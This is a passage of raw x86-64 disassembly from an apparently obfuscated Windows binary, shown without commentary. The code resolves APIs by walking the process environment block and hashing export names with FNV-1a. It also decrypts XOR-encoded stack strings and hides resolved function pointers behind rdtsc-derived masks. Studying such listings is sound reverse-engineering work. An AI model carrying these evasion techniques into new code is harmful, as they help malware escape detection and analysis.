movabs rdx, 0x3dfb04bf43d64595
mov qword [rbp + 0x340], rdx
mov qword [rbp + 0x348], r12
movdqa xmm0, xmmword [rbp + 0x14a0]
pxor xmm0, xmmword [rbp + 0x330]
movdqa xmmword [rbp + 0x330], xmm0
movdqa xmm1, xmmword [rbp + 0x14b0]
pxor xmm1, xmmword [rbp + 0x340]
movdqa xmmword [rbp + 0x340], xmm1
movabs rcx, 0x34b254d6c76a9476
movabs rdi, 0xab128af489ca8d61
movabs rsi, 0x7d290e0310035ee5
movabs r8, 0x437e6b25d06c5934
movabs r9, 0x4fdb60da37b52097
movabs r10, 0x7049f8fc854c97ed
movabs r11, 0x420b19e0725d8067
movabs rax, 0xab7cc9f2dd21679c
mov qword [rbp + 0xb90], r15
mov qword [rbp + 0xb98], r14
mov qword [rbp + 0xba0], r13
mov qword [rbp + 0xba8], r12
movabs rdx, 0x626e6b951e34e101
mov qword [rbp + 0xbb0], rdx
movabs r13, 0xf620bac4b9f8ae3a
mov qword [rbp + 0xbb8], r13
movabs rdx, 0x7d290e0310035ecb
mov qword [rbp + 0xbc0], rdx
mov qword [rbp + 0xbc8], rax
mov qword [rbp + 0x4c0], rcx
mov qword [rbp + 0x4c8], r8
mov qword [rbp + 0x4d0], r9
mov qword [rbp + 0x4d8], r10
mov qword [rbp + 0x4e0], r11
mov qword [rbp + 0x4e8], rdi
mov qword [rbp + 0x4f0], rsi
mov qword [rbp + 0x4f8], rax
movdqa xmm0, xmmword [rbp + 0xb90]
pxor xmm0, xmmword [rbp + 0x4c0]
movdqa xmmword [rbp + 0x4c0], xmm0
movdqa xmm1, xmmword [rbp + 0xba0]
pxor xmm1, xmmword [rbp + 0x4d0]
movdqa xmmword [rbp + 0x4d0], xmm1
movdqa xmm0, xmmword [rbp + 0xbb0]
pxor xmm0, xmmword [rbp + 0x4e0]
movdqa xmmword [rbp + 0x4e0], xmm0
movdqa xmm1, xmmword [rbp + 0xbc0]
pxor xmm1, xmmword [rbp + 0x4f0]
movdqa xmmword [rbp + 0x4f0], xmm1
xor r9d, r9d
lea r8, [rbp + 0x330]
lea rdx, [rbp + 0x4c0]
xor ecx, ecx
call rbx
nop
lea rcx, [rbp + 0x14c0]
call fcn.1400714e0
nop
lea rcx, [rbp + 0x1518]
call fcn.1400714e0
nop
lea rcx, [rbp + 0x14e0]
call fcn.14002fb40
jmp 0x140046df5
lea rcx, [rbp + 0x14c0]
call fcn.1400736f0
mov rbx, rax
test rax, rax
jne 0x14004529c
lea rcx, [rbp + 0x14c0]
call fcn.140071790
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x15f8], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140044fe0
mov r9, qword [rbp + 0x1600]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x140044fd7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140044fb0
cmp r10d, esi
jne 0x140045127
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x14004512f
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, rdi
cmp r15, rdi
je 0x140045127
mov r11d, dword [r15 + 0x18]
test r11d, r11d
je 0x140045127
mov r12d, dword [r15 + 0x20]
dec r11d
lea rcx, [r12 + r11*4]
mov r9d, dword [rcx + rdi]
add r9, rdi
mov r10d, 0x811c9dc5
movzx ebx, byte [r9]
inc r9
test bl, bl
je 0x140045067
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x140045040
cmp r10d, r8d
je 0x140045079
test r11d, r11d
jne 0x140045020
mov rax, qword [rax]
jmp 0x140044f70
mov ecx, dword [r15 + 0x1c]
add rcx, rdi
mov eax, dword [r15 + 0x24]
add rax, rdi
movzx eax, word [rax + r11*2]
mov ebx, dword [rcx + rax*4]
add rbx, rdi
cmp rbx, r15
jbe 0x140045131
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140045131
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x1400450e4
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x1400450c0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140045116
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x1400450f0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140044f70
xor ebx, ebx
movabs r11, 0x51dc3191e737b52d
mov qword [rbp + 0x12b0], r11
movabs r10, 0x3b1b0550f00f3046
mov qword [rbp + 0x12b8], r10
movabs rax, 0x7cfc65c1ae65fe7e
mov qword [rbp + 0x220], rax
movabs rax, 0x3b1b773f827d7566
mov qword [rbp + 0x228], rax
movdqa xmm0, xmmword [rbp + 0x12b0]
pxor xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0x220], xmm0
movabs rax, 0x3fb559e5825ada7e
movabs rcx, 0x4c3b713e95781021
movabs rdx, 0x4fbe249e24b82a95
movabs rdi, 0xf620bac4b9f8ae3a
movabs r8, 0x355ff2edc05a96fa
movabs r9, 0x4b5853a52b17c921
mov qword [rbp + 0xaf0], r11
mov qword [rbp + 0xaf8], r10
movabs r10, 0x3dfb04bf43d645e7
mov qword [rbp + 0xb00], r10
movabs r10, 0x503b9d8ee028f988
mov qword [rbp + 0xb08], r10
movabs r13, 0x626e6b951e34e101
mov qword [rbp + 0xb10], r13
mov qword [rbp + 0xb18], rdi
mov qword [rbp + 0x390], rax
mov qword [rbp + 0x398], rcx
mov qword [rbp + 0x3a0], rdx
mov qword [rbp + 0x3a8], r8
mov qword [rbp + 0x3b0], r9
mov qword [rbp + 0x3b8], rdi
movdqa xmm0, xmmword [rbp + 0xaf0]
pxor xmm0, xmmword [rbp + 0x390]
movdqa xmmword [rbp + 0x390], xmm0
movdqa xmm1, xmmword [rbp + 0xb00]
pxor xmm1, xmmword [rbp + 0x3a0]
movdqa xmmword [rbp + 0x3a0], xmm1
movdqa xmm0, xmmword [rbp + 0xb10]
pxor xmm0, xmmword [rbp + 0x3b0]
movdqa xmmword [rbp + 0x3b0], xmm0
mov r9d, 0x40010
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0x390]
jmp 0x140044efe
call fcn.140064180
mov rdi, qword [rbp + 0x3a20]
mov rcx, qword [rdi + 8]
mov rdx, rbx
mov rcx, qword [rcx]
call fcn.1400046b0
mov rax, qword [rdi + 8]
mov qword [rbp + 0xa18], rax
lea rdx, [rbp + 0xa18]
lea rcx, [rbp + 0x1310]
call fcn.14005b040
nop
lea rcx, [rbp + 0x1310]
call fcn.1400320b0
mov rax, qword [rdi + 8]
mov qword [rbp + 0x1500], rax
lea rax, [rbp + 0x14e0]
mov qword [rbp + 0x1508], rax
lea rax, [rbp + 0x1518]
mov qword [rbp + 0x1510], rax
lea rdx, [rbp + 0x1500]
lea rcx, [rbp + 0x1300]
call fcn.14005b0d0
nop
lea rcx, [rbp + 0x1300]
call fcn.1400320b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2628], xmm0
movups xmmword [rbp + 0x2638], xmm0
movups xmmword [rbp + 0x2648], xmm0
mov rax, qword [0x1401bf1c8]
cmp byte [rax + 0x3f8], 0
jne 0x140045cae
nop word [rax + rax]
mov rbx, qword [0x1401bf498]
test rbx, rbx
jne 0x140045593
xor esi, esi
mov edi, 0xc22b73de
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x12c0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140045400
mov r8, qword [rbp + 0x12c8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x1400453f7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x1400453d0
cmp r9d, esi
jne 0x140045545
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14004554d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140045545
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140045545
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140045488
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140045461
cmp r9d, edi
je 0x14004549a
test r10d, r10d
jne 0x140045440
mov rax, qword [rax]
jmp 0x140045390
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x14004554f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x14004554f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140045504
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x1400454e0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140045534
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140045510
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140045390
xor ebx, ebx
mov qword [0x1401bf498], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea r10, [rax + rax*4]
mov qword [0x1401bf4a0], r10
cmp r10, rbx
je 0x140045560
xor rbx, r10
mov qword [0x1401bf498], rbx
mov eax, r10d
xor eax, 0xc22b73de
mov dword [0x1401bf490], eax
jmp 0x14004559a
mov r10, qword [0x1401bf4a0]
xor r10, rbx
mov eax, 1
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x2628]
call r10
test eax, eax
je 0x140045a59
mov rbx, qword [0x1401bf4b0]
test rbx, rbx
jne 0x1400457f2
xor esi, esi
mov edi, 0x51b57fd4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x12d0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140045660
mov r8, qword [rbp + 0x12d8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140045657
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140045630
cmp r9d, esi
jne 0x1400457a5
mov r11, qword [rax + 0x30]
test r11, r11
je 0x1400457ad
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x1400457a5
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x1400457a5
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r12]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x1400456e8
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x1400456c1
cmp r9d, edi
je 0x1400456fa
test r10d, r10d
jne 0x1400456a0
mov rax, qword [rax]
jmp 0x1400455f0
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x1400457af
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x1400457af
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140045764
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140045740
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140045794
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140045770
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1400455f0
xor ebx, ebx
mov qword [0x1401bf4b0], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea rdx, [rax + rax*4]
mov qword [0x1401bf4b8], rdx
cmp rdx, rbx
je 0x1400457c0
xor rbx, rdx
mov qword [0x1401bf4b0], rbx
mov eax, edx
xor eax, 0x51b57fd4
mov dword [0x1401bf4a8], eax
jmp 0x1400457f9
mov rdx, qword [0x1401bf4b8]
xor rdx, rbx
lea rcx, [rbp + 0x2628]
call rdx
mov rbx, qword [0x1401bf528]
test rbx, rbx
jne 0x140045a41
xor esi, esi
mov edi, 0xcd16687f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x12e0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x1400458a0
mov r8, qword [rbp + 0x12e8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140045897
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140045870
cmp r9d, esi
jne 0x1400459e5
mov r11, qword [rax + 0x30]
test r11, r11
je 0x1400459ed
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x1400459e5
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x1400459e5
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r12]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x140045928
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140045901
cmp r9d, edi
je 0x14004593a
test r10d, r10d
jne 0x1400458e0
mov rax, qword [rax]
jmp 0x140045830
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x1400459ef
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x1400459ef
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x1400459a4
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140045980
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x1400459d4
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x1400459b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140045830
xor ebx, ebx
mov qword [0x1401bf528], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea rdx, [rax + rax*4]
mov qword [0x1401bf530], rdx
cmp rdx, rbx
je 0x140045a00
xor rbx, rdx
mov qword [0x1401bf528], rbx
mov eax, edx
xor eax, 0xcd16687f
mov dword [0x1401bf520], eax
xor rdx, rbx
lea rcx, [rbp + 0x2628]
call rdx
jmp 0x140045c93
mov rdx, qword [0x1401bf530]
xor rdx, rbx
lea rcx, [rbp + 0x2628]
call rdx
jmp 0x140045c93
mov rbx, qword [0x1401bf510]
test rbx, rbx
jne 0x140045c82
xor esi, esi
mov edi, 0x89eabb08
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x12f0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140045af0
mov r8, qword [rbp + 0x12f8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140045ae7
nop dword [rax]
nop dword [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140045ac0
cmp r9d, esi
jne 0x140045c35
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140045c3d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140045c35
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140045c35
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r12]
mov r9d, 0x811c9dc5
movzx ecx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test cl, cl
je 0x140045b78
movsx edx, cl
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140045b51
cmp r9d, edi
je 0x140045b8a
test r10d, r10d
jne 0x140045b30
mov rax, qword [rax]
jmp 0x140045a81
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x140045c3f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140045c3f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140045bf4
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140045bd0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140045c24
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140045c00
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140045a81
xor ebx, ebx
mov qword [0x1401bf510], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea rdx, [rax + rax*4]
mov qword [0x1401bf518], rdx
cmp rdx, rbx
je 0x140045c50
xor rbx, rdx
mov qword [0x1401bf510], rbx
mov eax, edx
xor eax, 0x89eabb08
mov dword [0x1401bf508], eax
jmp 0x140045c89
mov rdx, qword [0x1401bf518]
xor rdx, rbx
mov ecx, 0x32
call rdx
mov rax, qword [0x1401bf1c8]
cmp byte [rax + 0x3f8], 0
je 0x140045360
mov rdi, qword [rbp + 0x3a20]
mov rcx, qword [rdi + 8]
mov rcx, qword [rcx]
call fcn.140008ed0
mov r14, qword [0x1401bf1c8]
lea rdx, [r14 + 0x200]
mov qword [rsp + 0x60], rdx
mov rax, qword gs:[0x30]
mov r8d, dword [rax + 0x48]
mov r9, qword [rsp + 0x60]
mov eax, dword [r9 + 4]
cmp r8d, eax
jne 0x140045cfa
mov rax, qword [rsp + 0x60]
mov ecx, dword [rax]
inc ecx
mov rdi, qword [rsp + 0x60]
mov dword [rdi], ecx
jmp 0x140045d3b
mov rbx, qword [rsp + 0x60]
mov r10d, 1
mov eax, dword [rbx + 8]
cmp eax, r10d
je 0x140045d1a
xor eax, eax
lock cmpxchg dword [rbx + 8], r10d
cmp eax, r10d
jne 0x140045d32
mov ecx, dword [rdx + 0xc]
mov eax, dword [rdx + 0xc]
inc eax
mov dword [rdx + 0xc], eax
cmp ecx, 0x1fffffff
jbe 0x140045d2e
int3
pause
jmp 0x140045d05
mov dword [r9 + 4], r8d
mov rdi, qword [rsp + 0x60]
lea rsi, [r14 + 0x210]
mov rax, qword [rsi + 8]
sub rax, qword [rsi]
cmp rax, 8
jb 0x140045da0
lea rdx, [rbp + 0x18b0]
mov rcx, rsi
call fcn.1400517f0
mov rbx, qword [rax]
lea rdx, [rbp + 0xa10]
mov rcx, rsi
call fcn.14004e4c0
cmp rbx, qword [rax]
je 0x140045d8f
add rbx, 0xfffffffffffffff8
call qword [rbx]
lea rdx, [rbp + 0xa10]
mov rcx, rsi
call fcn.14004e4c0
cmp rbx, qword [rax]
jne 0x140045d75
mov rax, qword [rsi]
mov qword [rsi + 8], rax
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 8]
nop
mov eax, dword [rdi]
test eax, eax
mov rax, qword [rsp + 0x60]
je 0x140045db8
mov ecx, dword [rax]
dec ecx
mov rax, qword [rsp + 0x60]
mov dword [rax], ecx
jmp 0x140045dcd
mov dword [rax + 4], 0
mov dword [rax + 8], 0
mov dword [rax + 0xc], 0
mov rbx, qword [0x1401bf1c8]
test rbx, rbx
je 0x140045deb
mov rcx, rbx
call fcn.14004d4d0
nop
mov rcx, rbx
call fcn.14000d830
nop
lea rcx, [rbp + 0x14c0]
call fcn.140071790
nop
cmp dword [rbp + 0x1308], 0
jne 0x140046e13
cmp dword [rbp + 0x1318], 0
jne 0x140046e19
jmp 0x140044f03
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1608], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140045ea0
mov r9, qword [rbp + 0x1610]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x140045e97
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140045e70
cmp r10d, esi
jne 0x140045fe7
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x140045fef
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, rdi
cmp r15, rdi
je 0x140045fe7
mov r11d, dword [r15 + 0x18]
test r11d, r11d
je 0x140045fe7
mov r12d, dword [r15 + 0x20]
dec r11d
lea rcx, [r12 + r11*4]
mov r9d, dword [rcx + rdi]
add r9, rdi
mov r10d, 0x811c9dc5
movzx ebx, byte [r9]
inc r9
test bl, bl
je 0x140045f27
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x140045f00
cmp r10d, r8d
je 0x140045f39
test r11d, r11d
jne 0x140045ee0
mov rax, qword [rax]
jmp 0x140045e30
mov ecx, dword [r15 + 0x24]
add rcx, rdi
movzx edx, word [rcx + r11*2]
mov ecx, dword [r15 + 0x1c]
add rcx, rdi
mov ebx, dword [rcx + rdx*4]
add rbx, rdi
cmp rbx, r15
jbe 0x140045ff1
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140045ff1
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140045fa4
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140045f80
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140045fd6
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140045fb0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140045e30
xor ebx, ebx
movabs rdx, 0x51dc3191e737b52d
mov qword [rbp + 0x1320], rdx
movabs rcx, 0x3b1b0550f00f3046
mov qword [rbp + 0x1328], rcx
movabs rax, 0x7cfc65c1ae65fe7e
mov qword [rbp + 0x110], rax
movabs rax, 0x3b1b773f827d7566
mov qword [rbp + 0x118], rax
movdqa xmm0, xmmword [rbp + 0x110]
pxor xmm0, xmmword [rbp + 0x1320]
movdqa xmmword [rbp + 0x110], xmm0
movabs rdi, 0x171c08b5795a8872
movabs rsi, 0x9b4fd9e4d599c759
movabs r8, 0x3fb546b19542da74
movabs r9, 0x48756c7083785f22
movabs r10, 0x529270de2fba2493
movabs r11, 0x2352f0ae9341d9e6
movabs r14, 0x5d5a7a6d756d31bb
movabs r15, 0xd815a186fd5308fa
movabs r12, 0x4863d59d1617a4d5
movabs r13, 0x329c596822dd7f6b
mov qword [rbp + 0xf50], rdx
mov qword [rbp + 0xf58], rcx
movabs rax, 0x3dfb04bf43d645e7
mov qword [rbp + 0xf60], rax
movabs rax, 0x503b9d8ee028f988
mov qword [rbp + 0xf68], rax
movabs rax, 0x626e6b951e34e101
mov qword [rbp + 0xf70], rax
movabs rax, 0xf620bac4b9f8ae3a
mov qword [rbp + 0xf78], rax
movabs rdx, 0x7d290e0310035ecb
mov qword [rbp + 0xf80], rdx
movabs rax, 0xab7cc9f2dd21679c
mov qword [rbp + 0xf88], rax
movabs rax, 0x3a02a2e97078d7f5
mov qword [rbp + 0xf90], rax
movabs rax, 0x57ec36484da95f0e
